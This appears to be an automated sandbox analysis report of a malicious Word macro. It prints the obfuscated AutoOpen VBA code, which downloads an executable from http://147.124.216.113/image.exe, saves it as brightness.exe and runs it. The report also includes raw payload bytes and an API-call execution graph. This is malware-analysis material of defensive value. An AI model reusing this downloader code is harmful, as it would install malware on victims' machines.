                                                                                                                                                          		IServerXMLHTTPRequest2.responsebody() -> ?P\x02\x00\x04\x0f?\x00\xfffd\x00\x00\x00@\x1a\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00A\x00????????????????4???????????\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00?\x00O ??\x00\x00\x00\x00\xfffd?c??\x06? \x00\x00?\x06?\x00?\x06\x00@?\x00?\x00\x04\x00\x00\x00\x04\x00\x00\x00?\x12?\x00\x00\x00\x02\x00\x00\x10?\x00\x00\x10?\x00\x00\x00\x10\x00\x00\x00\x00\x00?\x07?\x00 \x08? \x00\x00\x00\x00\x00\x00\x00\x00?\x07?\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00?\x07\x18\x00\x00\x00\x00\x00\x00\x00\x00\x00?\x07?\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00??t\x00?\x06?\x00?\x06?\x00\x00\x00\x00\x00\x00\x00 ????\x00?\x00?\x06?\x00?\x06\x00\x00\x00\x00\x00\x00 ???a\x00?\x00?\x06 \x00?\x06\x00\x00\x00\x00\x00\x00@???\x00\x00?\x00?\x07\x00\x00?\x06\x00\x00\x00\x00\x00\x00\x00????\x00?\x00?\x07?\x00?\x06\x00\x00\x00\x00\x00\x00@???\x00\x004\x00?\x07\x00\x00?\x07\x00\x00\x00\x00\x00\x00\x00????\x00\x18\x00?\x07?\x00?\x07\x00\x00\x00\x00\x00\x00@????\x00?\x00?\x07?\x00?\x07\x00\x00\x00\x00\x00\x00@???c\x00? \x08? ?\x07\x00\x00\x00\x00\x00\x00@?\x00\x00\x00\x00\x00\x00?\x12\x00\x00?\x11\x00\x00\x00\x00\x00\x00@?\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00?@????U\x00\x00\x01\x00?@??????@?@???\x01\x00?\x00??@?????\x00?????@???\x01\x00?\x00??@???\x03\x00?\xfffd??@?????\x05\x00????@?????@???????@\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00?@\x04\x00\x00\x00?@?@?@?@?@?@?@?@?????@??????\x00\x00\x00????\x00?@??????\x00\x00\x01\x00\x00\x00?\x00\x00\x00????\x03??@???????A?\x02\x00\x00\xfffd\x00\x00???????????P????P????P???????A\x00\x00\x00\x00\x00?\x00\x00\x00???\x00\x00\x00?@?@?@\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00?@\x0c\x00?@?@?@?@?@?@?@?@?@????????????G???G???G???G???G???G???G???G???G???G???G???G???G???G???G???G???G???G???G???G???G???G???G???G???G???G???G???G???G???G???G???G???G???G???G????\x00?????I??????????G???G???G???G???W\x00?????????????????`????????\xfffd????????????????t???@?????????@???????????????@?????????????????????@???????????????@???????????????????????????????????????@???????????????????????????????????????????????????@?C????I????????????????@?A???I??????????????????G??????????G????????????\x00???\x03????\x03???G????????????G?????\x00????G?\x00????????G???????????-?????????\x0b???????????\x00?????G??????G?????????h\x10?\x00\x14j?????????????G????\xfffd?????\x02\x00??????????G??????????????G????????????????????G????????????\x10\x01???\x00??h??j???????????????G??G??G?????\x00????????????????h????????????????\x00?????? ???G??\x00???????F????????????????f??????A????C??\x03?????????\x03??\xfffd\x01?????\xfffd\x01?????\xfffd\x01?????j???A\x00??????????????G??A\x00???G?j???A\x00???G????????u??G????\x00\x00?????????G??????????????????G??????\x01???????????????????G????G????\x00??????G??G???????????G???????????G????\x01\x00????????????\x03????\xfffd\x01?????????\xfffd\x01???????????????\x01??\x00?\xfffd??????????????????G?????????????????????????????G???????G??G??????????\x00???????????????????G????????????????????\x00??????????????\x00??????????????????\x00??????????????????????????\x03?????????????????????????\xfffd\x01?????????\xfffd\x01?????????????\xfffd\x01?????????\xfffd\x01??????????????\x00?????????\x00????????????\x13?????????????\x00?????????\x00???????a??\x0b????????G?\x13??????????\x00h?????????????\x13????\x02\x00??G?\x13??G??G???????????????????\x00????????@\x00????????????????????????? ???????????????????????????????????\x02????l??????\x00??????????\x00???\x00?\xfffd\x00?\x0b??\x00?\xfffd????????\x00?\xfffd\x01??????j???\xfffd\x01????????????\x00????????????????jU??\x0b???????????\x00????????G????????????????????????????\x00??????\x00???\x00?\xfffd\x01???????????\xfffd\x01?????????????\x00????????????\x00??????????Q?????\xfffd\x00%????????????????????\x0b?c????????\x00???????\x00??A????????????????????????????????????\x00??????A??????????????????????????????????????????????????????????????????@?x???????????\x04???????????????????????????@??G????????\xfffd???????????????G???@????????????????????????????????|????????????????????????????????????????????????????????????????????????????????\xfffd?????????????\x7f???????????????????????????\x1f???????????????@??????\x0c?s????????????????????????????????????\x00?????\xfffd????????\xfffd\x10?????????????????u?????????R???z?????????@????????\x00\x01????H???????????G????????????????????G?????????\x00??h\x10?\x00\x01j????G??G???@??????????????G???G???????????\x00?????G????^?????????????????????7???????\x00?????????????????????\xfffd?????????\xfffd\x00???\xfffd??\x00???????\x00??????????????\x00???A\x00?\xfffd\x00?????????\x00?????????????????????????????????????????\xfffd???8??\x00??\x02\x00???????\xfffd\x00??\xfffd\x00??????????????????????????\x00?????????????????\x01?\x0b??????\x00?\x0b??????????G?\x00????????????\x00???\x00???????????\x00???????????????\xfffd????????????????????????????????????????\xfffd???????????????????G?????\x00??????\x02???\xfffd??????????(\x00???????\x00???????????????\xfffd???????\xfffd?\x00??????????\x01?>?\xfffd\x00??????@?\x00???????????\xfffd?f?f?????????f?f?f??????????@?\x00???????????? ??K??????\x07\x00???????@?\x00????????????\x00???????????f?f?f???????????????????????\x00???@????????\xfffd???????????????@?\x00??????????????\x00\x00?????????? ????????????????????\x03\x00????-\x00??????j??????\x00????????????????????\x00\x00??????????????????? ???\xfffd\x00\x00???n???\x00?????????????????????????????\xfffd\x00\x00?\x00???????????\x00????????\x00???????????????????????????7\x00???;???@??????????\x01\x00??????\xfffd\x00%????\x0b???\x00?\x04?????\x07\x00???????????????????\x00?\xfffd?????\x00??s??\xfffd??P\x00???????????%??????????????G?G??G?G\xfffd\x04??G???????????????????@??????G????h?????????7\x00?

                                                                                                                                                          Shell

                                                                                                                                                          		Shell(""brightness.exe"") -> 2072
                                                                                                                                                          StringsDecrypted Strings
                                                                                                                                                          "M""S""X""M""L""2"".""S""er""ver""XM""LH""TTP"
                                                                                                                                                          "Ad""od""b.S""tr""ea""m"
                                                                                                                                                          "h"
                                                                                                                                                          "t"
                                                                                                                                                          "t""p:/""/147.124.216.113/image"
                                                                                                                                                          "."
                                                                                                                                                          "e"
                                                                                                                                                          "x"
                                                                                                                                                          "e"
                                                                                                                                                          "GET"
                                                                                                                                                          "brightness"
                                                                                                                                                          "."
                                                                                                                                                          "e"
                                                                                                                                                          "x"
                                                                                                                                                          "e"
                                                                                                                                                          """brightness"
                                                                                                                                                          "."
                                                                                                                                                          "e"
                                                                                                                                                          "x"
                                                                                                                                                          "e"""
                                                                                                                                                          LineInstructionMeta Information
                                                                                                                                                          9

                                                                                                                                                          Sub AutoOpen()

                                                                                                                                                          11

                                                                                                                                                          Dim xHttp

                                                                                                                                                          executed
                                                                                                                                                          16

                                                                                                                                                          Set xHttp = CreateObject("M" & "S" & "X" & "M" & "L" & "2" & "." & "S" & "er" & "ver" & "XM" & "LH" & "TTP")

                                                                                                                                                          CreateObject("MSXML2.ServerXMLHTTP")

                                                                                                                                                          executed
                                                                                                                                                          18

                                                                                                                                                          Dim bStrm

                                                                                                                                                          20

                                                                                                                                                          Set bStrm = CreateObject("Ad" & "od" & "b.S" & "tr" & "ea" & "m")

                                                                                                                                                          CreateObject("Adodb.Stream")

                                                                                                                                                          executed
                                                                                                                                                          24

                                                                                                                                                          Dim nirm1

                                                                                                                                                          25

                                                                                                                                                          nirm1 = "h"

                                                                                                                                                          26

                                                                                                                                                          Dim nirm2

                                                                                                                                                          27

                                                                                                                                                          nirm2 = "t"

                                                                                                                                                          28

                                                                                                                                                          Dim nirm3

                                                                                                                                                          29

                                                                                                                                                          nirm3 = "t" & "p:/" & "/147.124.216.113/image"

                                                                                                                                                          30

                                                                                                                                                          Dim nirm4

                                                                                                                                                          31

                                                                                                                                                          nirm4 = "."

                                                                                                                                                          32

                                                                                                                                                          Dim nirm5

                                                                                                                                                          33

                                                                                                                                                          nirm5 = "e"

                                                                                                                                                          34

                                                                                                                                                          Dim nirm6

                                                                                                                                                          35

                                                                                                                                                          nirm6 = "x"

                                                                                                                                                          36

                                                                                                                                                          Dim nirm7

                                                                                                                                                          37

                                                                                                                                                          nirm7 = "e"

                                                                                                                                                          41

                                                                                                                                                          Dim plpl

                                                                                                                                                          42

                                                                                                                                                          plpl = nirm1 & nirm2 & nirm3 & nirm4 & nirm5 & nirm6 & nirm7

                                                                                                                                                          45

                                                                                                                                                          xHttp.Open "GET", plpl, False

                                                                                                                                                          IServerXMLHTTPRequest2.Open("GET","http://147.124.216.113/image.exe",False)

                                                                                                                                                          executed
                                                                                                                                                          46

                                                                                                                                                          xHttp.Send

                                                                                                                                                          Send

                                                                                                                                                          52

                                                                                                                                                          With bStrm

                                                                                                                                                          53

                                                                                                                                                          . Type = 1

                                                                                                                                                          54

                                                                                                                                                          . Open

                                                                                                                                                          55

                                                                                                                                                          . write xHttp.responsebody

                                                                                                                                                          IServerXMLHTTPRequest2.responsebody() -> ?P\x02\x00\x04\x0f?\x00\xfffd\x00\x00\x00@\x1a\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00A\x00????????????????4???????????\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00?\x00O ??\x00\x00\x00\x00\xfffd?c??\x06? \x00\x00?\x06?\x00?\x06\x00@?\x00?\x00\x04\x00\x00\x00\x04\x00\x00\x00?\x12?\x00\x00\x00\x02\x00\x00\x10?\x00\x00\x10?\x00\x00\x00\x10\x00\x00\x00\x00\x00?\x07?\x00 \x08? \x00\x00\x00\x00\x00\x00\x00\x00?\x07?\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00?\x07\x18\x00\x00\x00\x00\x00\x00\x00\x00\x00?\x07?\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00??t\x00?\x06?\x00?\x06?\x00\x00\x00\x00\x00\x00\x00 ????\x00?\x00?\x06?\x00?\x06\x00\x00\x00\x00\x00\x00 ???a\x00?\x00?\x06 \x00?\x06\x00\x00\x00\x00\x00\x00@???\x00\x00?\x00?\x07\x00\x00?\x06\x00\x00\x00\x00\x00\x00\x00????\x00?\x00?\x07?\x00?\x06\x00\x00\x00\x00\x00\x00@???\x00\x004\x00?\x07\x00\x00?\x07\x00\x00\x00\x00\x00\x00\x00????\x00\x18\x00?\x07?\x00?\x07\x00\x00\x00\x00\x00\x00@????\x00?\x00?\x07?\x00?\x07\x00\x00\x00\x00\x00\x00@???c\x00? \x08? ?\x07\x00\x00\x00\x00\x00\x00@?\x00\x00\x00\x00\x00\x00?\x12\x00\x00?\x11\x00\x00\x00\x00\x00\x00@?\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00?@????U\x00\x00\x01\x00?@??????@?@???\x01\x00?\x00??@?????\x00?????@???\x01\x00?\x00??@???\x03\x00?\xfffd??@?????\x05\x00????@?????@???????@\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00?@\x04\x00\x00\x00?@?@?@?@?@?@?@?@?????@??????\x00\x00\x00????\x00?@??????\x00\x00\x01\x00\x00\x00?\x00\x00\x00????\x03??@???????A?\x02\x00\x00\xfffd\x00\x00???????????P????P????P???????A\x00\x00\x00\x00\x00?\x00\x00\x00???\x00\x00\x00?@?@?@\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00?@\x0c\x00?@?@?@?@?@?@?@?@?@????????????G???G???G???G???G???G???G???G???G???G???G???G???G???G???G???G???G???G???G???G???G???G???G???G???G???G???G???G???G???G???G???G???G???G???G????\x00?????I??????????G???G???G???G???W\x00?????????????????`????????\xfffd????????????????t???@?????????@???????????????@?????????????????????@???????????????@???????????????????????????????????????@???????????????????????????????????????????????????@?C????I????????????????@?A???I??????????????????G??????????G????????????\x00???\x03????\x03???G????????????G?????\x00????G?\x00????????G???????????-?????????\x0b???????????\x00?????G??????G?????????h\x10?\x00\x14j?????????????G????\xfffd?????\x02\x00??????????G??????????????G????????????????????G????????????\x10\x01???\x00??h??j???????????????G??G??G?????\x00????????????????h????????????????\x00?????? ???G??\x00???????F????????????????f??????A????C??\x03?????????\x03??\xfffd\x01?????\xfffd\x01?????\xfffd\x01?????j???A\x00??????????????G??A\x00???G?j???A\x00???G????????u??G????\x00\x00?????????G??????????????????G??????\x01???????????????????G????G????\x00??????G??G???????????G???????????G????\x01\x00????????????\x03????\xfffd\x01?????????\xfffd\x01???????????????\x01??\x00?\xfffd??????????????????G?????????????????????????????G???????G??G??????????\x00???????????????????G????????????????????\x00??????????????\x00??????????????????\x00??????????????????????????\x03?????????????????????????\xfffd\x01?????????\xfffd\x01?????????????\xfffd\x01?????????\xfffd\x01??????????????\x00?????????\x00????????????\x13?????????????\x00?????????\x00???????a??\x0b????????G?\x13??????????\x00h?????????????\x13????\x02\x00??G?\x13??G??G???????????????????\x00????????@\x00????????????????????????? ???????????????????????????????????\x02????l??????\x00??????????\x00???\x00?\xfffd\x00?\x0b??\x00?\xfffd????????\x00?\xfffd\x01??????j???\xfffd\x01????????????\x00????????????????jU??\x0b???????????\x00????????G????????????????????????????\x00??????\x00???\x00?\xfffd\x01???????????\xfffd\x01?????????????\x00????????????\x00??????????Q?????\xfffd\x00%????????????????????\x0b?c????????\x00???????\x00??A????????????????????????????????????\x00??????A??????????????????????????????????????????????????????????????????@?x???????????\x04???????????????????????????@??G????????\xfffd???????????????G???@????????????????????????????????|????????????????????????????????????????????????????????????????????????????????\xfffd?????????????\x7f???????????????????????????\x1f???????????????@??????\x0c?s????????????????????????????????????\x00?????\xfffd????????\xfffd\x10?????????????????u?????????R???z?????????@????????\x00\x01????H???????????G????????????????????G?????????\x00??h\x10?\x00\x01j????G??G???@??????????????G???G???????????\x00?????G????^?????????????????????7???????\x00?????????????????????\xfffd?????????\xfffd\x00???\xfffd??\x00???????\x00??????????????\x00???A\x00?\xfffd\x00?????????\x00?????????????????????????????????????????\xfffd???8??\x00??\x02\x00???????\xfffd\x00??\xfffd\x00??????????????????????????\x00?????????????????\x01?\x0b??????\x00?\x0b??????????G?\x00????????????\x00???\x00???????????\x00???????????????\xfffd????????????????????????????????????????\xfffd???????????????????G?????\x00??????\x02???\xfffd??????????(\x00???????\x00???????????????\xfffd???????\xfffd?\x00??????????\x01?>?\xfffd\x00??????@?\x00???????????\xfffd?f?f?????????f?f?f??????????@?\x00???????????? ??K??????\x07\x00???????@?\x00????????????\x00???????????f?f?f???????????????????????\x00???@????????\xfffd???????????????@?\x00??????????????\x00\x00?????????? ????????????????????\x03\x00????-\x00??????j??????\x00????????????????????\x00\x00??????????????????? ???\xfffd\x00\x00???n???\x00?????????????????????????????\xfffd\x00\x00?\x00???????????\x00????????\x00???????????????????????????7\x00???;???@??????????\x01\x00??????\xfffd\x00%????\x0b???\x00?\x04?????\x07\x00???????????????????\x00?\xfffd?????\x00??s??\xfffd??P\x00???????????%??????????????G?G??G?G\xfffd\x04??G???????????????????@??????G????h?????????7\x00?

                                                                                                                                                          executed
                                                                                                                                                          59

                                                                                                                                                          Dim monu1

                                                                                                                                                          60

                                                                                                                                                          monu1 = "brightness"

                                                                                                                                                          61

                                                                                                                                                          Dim monu2

                                                                                                                                                          62

                                                                                                                                                          monu2 = "."

                                                                                                                                                          64

                                                                                                                                                          Dim monu3

                                                                                                                                                          65

                                                                                                                                                          monu3 = "e"

                                                                                                                                                          67

                                                                                                                                                          Dim monu4

                                                                                                                                                          68

                                                                                                                                                          monu4 = "x"

                                                                                                                                                          70

                                                                                                                                                          Dim monu5

                                                                                                                                                          71

                                                                                                                                                          monu5 = "e"

                                                                                                                                                          73

                                                                                                                                                          Dim monu6

                                                                                                                                                          74

                                                                                                                                                          monu6 = monu1 & monu2 & monu3 & monu4 & monu5

                                                                                                                                                          77

                                                                                                                                                          . savetofile monu6, 2

                                                                                                                                                          80

                                                                                                                                                          Dim parveen1

                                                                                                                                                          81

                                                                                                                                                          Dim parveen2

                                                                                                                                                          82

                                                                                                                                                          Dim parveen3

                                                                                                                                                          83

                                                                                                                                                          Dim parveen4

                                                                                                                                                          84

                                                                                                                                                          Dim praveen1

                                                                                                                                                          85

                                                                                                                                                          praveen1 = """brightness"

                                                                                                                                                          86

                                                                                                                                                          Dim praveen2

                                                                                                                                                          87

                                                                                                                                                          praveen2 = "."

                                                                                                                                                          89

                                                                                                                                                          Dim praveen3

                                                                                                                                                          90

                                                                                                                                                          praveen3 = "e"

                                                                                                                                                          92

                                                                                                                                                          Dim praveen4

                                                                                                                                                          93

                                                                                                                                                          praveen4 = "x"

                                                                                                                                                          95

                                                                                                                                                          Dim praveen5

                                                                                                                                                          96

                                                                                                                                                          praveen5 = "e"""

                                                                                                                                                          101

                                                                                                                                                          Dim praveen6

                                                                                                                                                          102

                                                                                                                                                          praveen6 = praveen1 & praveen2 & praveen3 & praveen4 & praveen5

                                                                                                                                                          106

                                                                                                                                                          End With

                                                                                                                                                          108

                                                                                                                                                          Shell (praveen6)

                                                                                                                                                          Shell(""brightness.exe"") -> 2072

                                                                                                                                                          executed
                                                                                                                                                          110

                                                                                                                                                          End Sub

                                                                                                                                                          Reset < >

                                                                                                                                                            Execution Graph

                                                                                                                                                            Execution Coverage:15.1%
                                                                                                                                                            Dynamic/Decrypted Code Coverage:100%
                                                                                                                                                            Signature Coverage:17.7%
                                                                                                                                                            Total number of Nodes:300
                                                                                                                                                            Total number of Limit Nodes:20
                                                                                                                                                            execution_graph 25607 285d2fc 25617 2836518 25607->25617 25611 285d32a 25622 285bf84 timeSetEvent 25611->25622 25613 285d334 25614 285d342 GetMessageA 25613->25614 25615 285d336 TranslateMessage DispatchMessageA 25614->25615 25616 285d352 25614->25616 25615->25614 25619 2836523 25617->25619 25623 2834168 25619->25623 25621 283427c SysAllocStringLen SysFreeString SysReAllocStringLen 25621->25611 25622->25613 25624 28341ae 25623->25624 25625 2834227 25624->25625 25628 28343b8 25624->25628 25637 2834100 25625->25637 25629 28343e9 25628->25629 25632 28343fa 25628->25632 25642 283432c GetStdHandle WriteFile GetStdHandle WriteFile MessageBoxA 25629->25642 25631 28343f3 25631->25632 25633 283443f FreeLibrary 25632->25633 25634 2834463 25632->25634 25633->25632 25635 2834472 ExitProcess 25634->25635 25636 283446c 25634->25636 25636->25635 25638 2834110 25637->25638 25639 2834143 25637->25639 25638->25639 25643 2835814 25638->25643 25647 28315cc 25638->25647 25639->25621 25642->25631 25644 2835824 GetModuleFileNameA 25643->25644 25645 2835840 25643->25645 25651 2835a78 GetModuleFileNameA RegOpenKeyExA 25644->25651 25645->25638 25670 2831560 25647->25670 25649 28315d4 VirtualAlloc 25650 28315eb 25649->25650 25650->25638 25652 2835afb 25651->25652 25653 2835abb RegOpenKeyExA 25651->25653 25669 28358b4 12 API calls 25652->25669 25653->25652 25654 2835ad9 RegOpenKeyExA 25653->25654 25654->25652 25656 2835b84 lstrcpynA GetThreadLocale GetLocaleInfoA 25654->25656 25660 2835bbb 25656->25660 25661 2835c9e 25656->25661 25657 2835b20 RegQueryValueExA 25658 2835b5e RegCloseKey 25657->25658 25659 2835b40 RegQueryValueExA 25657->25659 25658->25645 25659->25658 25660->25661 25663 2835bcb lstrlenA 25660->25663 25661->25645 25664 2835be3 25663->25664 25664->25661 25665 2835c30 25664->25665 25666 2835c08 lstrcpynA LoadLibraryExA 25664->25666 25665->25661 25667 2835c3a lstrcpynA LoadLibraryExA 25665->25667 25666->25665 25667->25661 25668 2835c6c lstrcpynA LoadLibraryExA 25667->25668 25668->25661 25669->25657 25671 2831500 25670->25671 25671->25649 25672 2834e88 25673 2834e95 25672->25673 25677 2834e9c 25672->25677 25681 2834bdc SysAllocStringLen 25673->25681 25678 2834bfc 25677->25678 25679 2834c02 SysFreeString 25678->25679 25680 2834c08 25678->25680 25679->25680 25681->25677 25682 2834c48 25683 2834c6f 25682->25683 25684 2834c4c 25682->25684 25685 2834c0c 25684->25685 25686 2834c5f SysReAllocStringLen 25684->25686 25687 2834c12 SysFreeString 25685->25687 25688 2834c20 25685->25688 25686->25683 25689 2834bdc 25686->25689 25687->25688 25690 2834bf8 25689->25690 25691 2834be8 SysAllocStringLen 25689->25691 25691->25689 25691->25690 25692 2856bf8 26509 283480c 25692->26509 26510 283481d 26509->26510 26511 2834843 26510->26511 26512 283485a 26510->26512 26518 2834b78 26511->26518 26527 2834570 26512->26527 26515 283488b 26516 2834850 26516->26515 26532 2834500 26516->26532 26519 2834b85 26518->26519 26526 2834bb5 26518->26526 26520 2834bae 26519->26520 26522 2834b91 26519->26522 26523 2834570 11 API calls 26520->26523 26538 2832c44 11 API calls 26522->26538 26523->26526 26524 2834b9f 26524->26516 26539 28344ac 26526->26539 26528 2834574 26527->26528 26529 2834598 26527->26529 26552 2832c10 26528->26552 26529->26516 26531 2834581 26531->26516 26533 2834504 26532->26533 26536 2834514 26532->26536 26535 2834570 11 API calls 26533->26535 26533->26536 26534 2834542 26534->26515 26535->26536 26536->26534 26537 2832c2c 11 API calls 26536->26537 26537->26534 26538->26524 26540 28344b2 26539->26540 26541 28344cd 26539->26541 26540->26541 26543 2832c2c 26540->26543 26541->26524 26544 2832c3a 26543->26544 26546 2832c30 26543->26546 26544->26541 26545 2832d19 26551 2832ce8 7 API calls 26545->26551 26546->26544 26546->26545 26550 28364cc LocalAlloc TlsSetValue TlsGetValue TlsGetValue 26546->26550 26549 2832d3a 26549->26541 26550->26545 26551->26549 26553 2832c27 26552->26553 26556 2832c14 26552->26556 26553->26531 26554 2832c1e 26554->26531 26555 2832d19 26561 2832ce8 7 API calls 26555->26561 26556->26554 26556->26555 26560 28364cc LocalAlloc TlsSetValue TlsGetValue TlsGetValue 26556->26560 26559 2832d3a 26559->26531 26560->26555 26561->26559 26562 285bf78 26565 284f0a8 26562->26565 26566 284f0b0 26565->26566 26566->26566 29746 2848704 LoadLibraryW 26566->29746 26568 284f0d2 29751 2832ee0 QueryPerformanceCounter 26568->29751 26570 284f0d7 26571 284f0e1 InetIsOffline 26570->26571 26572 284f0fc 26571->26572 26573 284f0eb 26571->26573 26575 2834500 11 API calls 26572->26575 26574 2834500 11 API calls 26573->26574 26576 284f0fa 26574->26576 26575->26576 26577 283480c 11 API calls 26576->26577 26578 284f129 26577->26578 26579 284f131 26578->26579 29754 2834798 26579->29754 26581 284f154 26582 284f15c 26581->26582 26583 284f166 26582->26583 29769 284881c 26583->29769 26586 283480c 11 API calls 26587 284f18d 26586->26587 26588 284f195 26587->26588 26589 2834798 11 API calls 26588->26589 26590 284f1b8 26589->26590 26591 284f1c0 26590->26591 29782 28346a4 26591->29782 29784 28480c0 29746->29784 29748 284873d 29795 2847cf8 29748->29795 29752 2832ef8 GetTickCount 29751->29752 29753 2832eed 29751->29753 29752->26570 29753->26570 29755 28347fd 29754->29755 29756 283479c 29754->29756 29757 2834500 29756->29757 29758 28347a4 29756->29758 29761 2834570 11 API calls 29757->29761 29764 2834514 29757->29764 29758->29755 29760 2834500 11 API calls 29758->29760 29763 28347b3 29758->29763 29759 2834542 29759->26581 29760->29763 29761->29764 29762 2834570 11 API calls 29766 28347cd 29762->29766 29763->29762 29764->29759 29765 2832c2c 11 API calls 29764->29765 29765->29759 29767 2834500 11 API calls 29766->29767 29768 28347f9 29767->29768 29768->26581 29770 2848830 29769->29770 29771 284884f LoadLibraryA 29770->29771 29831 283494c 29771->29831 29774 283494c 29775 2848872 GetProcAddress 29774->29775 29776 2848899 29775->29776 29777 2847cf8 18 API calls 29776->29777 29778 28488dd FreeLibrary 29777->29778 29779 28488f5 29778->29779 29780 28344d0 11 API calls 29779->29780 29781 2848902 29780->29781 29781->26586 29783 28346aa 29782->29783 29785 2834500 11 API calls 29784->29785 29786 28480e5 29785->29786 29809 284790c 29786->29809 29789 2834798 11 API calls 29790 28480ff 29789->29790 29791 2848107 GetModuleHandleW GetProcAddress GetProcAddress 29790->29791 29792 284813a 29791->29792 29815 28344d0 29792->29815 29796 2834500 11 API calls 29795->29796 29797 2847d1d 29796->29797 29798 284790c 12 API calls 29797->29798 29799 2847d2a 29798->29799 29800 2834798 11 API calls 29799->29800 29801 2847d3a 29800->29801 29820 2848018 29801->29820 29804 28480c0 15 API calls 29805 2847d53 NtWriteVirtualMemory 29804->29805 29806 2847d7f 29805->29806 29807 28344d0 11 API calls 29806->29807 29808 2847d8c FreeLibrary 29807->29808 29808->26568 29810 284791d 29809->29810 29811 2834b78 11 API calls 29810->29811 29813 284792d 29811->29813 29812 2847999 29812->29789 29813->29812 29819 283ba3c CharNextA 29813->29819 29817 28344d6 29815->29817 29816 28344fc 29816->29748 29817->29816 29818 2832c2c 11 API calls 29817->29818 29818->29817 29819->29813 29821 2834500 11 API calls 29820->29821 29822 284803b 29821->29822 29823 284790c 12 API calls 29822->29823 29824 2848048 29823->29824 29825 2848050 GetModuleHandleA 29824->29825 29826 28480c0 15 API calls 29825->29826 29827 2848061 GetModuleHandleA 29826->29827 29828 284807f 29827->29828 29829 28344ac 11 API calls 29828->29829 29830 2847d4d 29829->29830 29830->29804 29832 2834950 GetModuleHandleA 29831->29832 29832->29774 29833 2831c6c 29834 2831d04 29833->29834 29835 2831c7c 29833->29835 29838 2831f58 29834->29838 29839 2831d0d 29834->29839 29836 2831cc0 29835->29836 29837 2831c89 29835->29837 29843 2831724 10 API calls 29836->29843 29840 2831c94 29837->29840 29881 2831724 29837->29881 29841 2831fec 29838->29841 29845 2831f68 29838->29845 29846 2831fac 29838->29846 29842 2831d25 29839->29842 29855 2831e24 29839->29855 29848 2831d2c 29842->29848 29852 2831d48 29842->29852 29857 2831dfc 29842->29857 29862 2831cd7 29843->29862 29850 2831724 10 API calls 29845->29850 29849 2831fb2 29846->29849 29853 2831724 10 API calls 29846->29853 29847 2831e7c 29851 2831724 10 API calls 29847->29851 29867 2831e95 29847->29867 29854 2831f82 29850->29854 29856 2831f2c 29851->29856 29859 2831d79 Sleep 29852->29859 29860 2831d9c 29852->29860 29868 2831fc1 29853->29868 29874 2831a8c 8 API calls 29854->29874 29877 2831fa7 29854->29877 29855->29847 29858 2831e55 Sleep 29855->29858 29855->29867 29856->29867 29873 2831a8c 8 API calls 29856->29873 29861 2831724 10 API calls 29857->29861 29858->29847 29863 2831e6f Sleep 29858->29863 29859->29860 29864 2831d91 Sleep 29859->29864 29870 2831e05 29861->29870 29866 2831a8c 8 API calls 29862->29866 29871 2831cfd 29862->29871 29863->29855 29864->29852 29865 2831ca1 29872 2831cb9 29865->29872 29905 2831a8c 29865->29905 29866->29871 29868->29877 29878 2831a8c 8 API calls 29868->29878 29876 2831a8c 8 API calls 29870->29876 29879 2831e1d 29870->29879 29875 2831f50 29873->29875 29874->29877 29876->29879 29880 2831fe4 29878->29880 29882 2831968 29881->29882 29893 283173c 29881->29893 29883 2831938 29882->29883 29884 2831a80 29882->29884 29888 2831947 Sleep 29883->29888 29892 2831986 29883->29892 29886 2831684 VirtualAlloc 29884->29886 29887 2831a89 29884->29887 29885 283175d 29885->29865 29890 28316bf 29886->29890 29891 28316af 29886->29891 29887->29865 29888->29892 29895 283195d Sleep 29888->29895 29889 283174e 29889->29885 29894 283182c 29889->29894 29898 283180a Sleep 29889->29898 29890->29865 29922 2831644 29891->29922 29900 28315cc VirtualAlloc 29892->29900 29903 28319a4 29892->29903 29893->29889 29897 28317cb Sleep 29893->29897 29902 28315cc VirtualAlloc 29894->29902 29904 2831838 29894->29904 29895->29883 29897->29889 29899 28317e4 Sleep 29897->29899 29898->29894 29901 2831820 Sleep 29898->29901 29899->29893 29900->29903 29901->29889 29902->29904 29903->29865 29904->29865 29906 2831aa1 29905->29906 29907 2831b6c 29905->29907 29909 2831aa7 29906->29909 29912 2831b13 Sleep 29906->29912 29907->29909 29911 28316e8 29907->29911 29908 2831ab0 29908->29872 29909->29908 29915 2831b4b Sleep 29909->29915 29920 2831b81 29909->29920 29910 2831c66 29910->29872 29911->29910 29913 2831644 2 API calls 29911->29913 29912->29909 29914 2831b2d Sleep 29912->29914 29916 28316f5 VirtualFree 29913->29916 29914->29906 29917 2831b61 Sleep 29915->29917 29915->29920 29918 283170d 29916->29918 29917->29909 29918->29872 29919 2831c00 VirtualFree 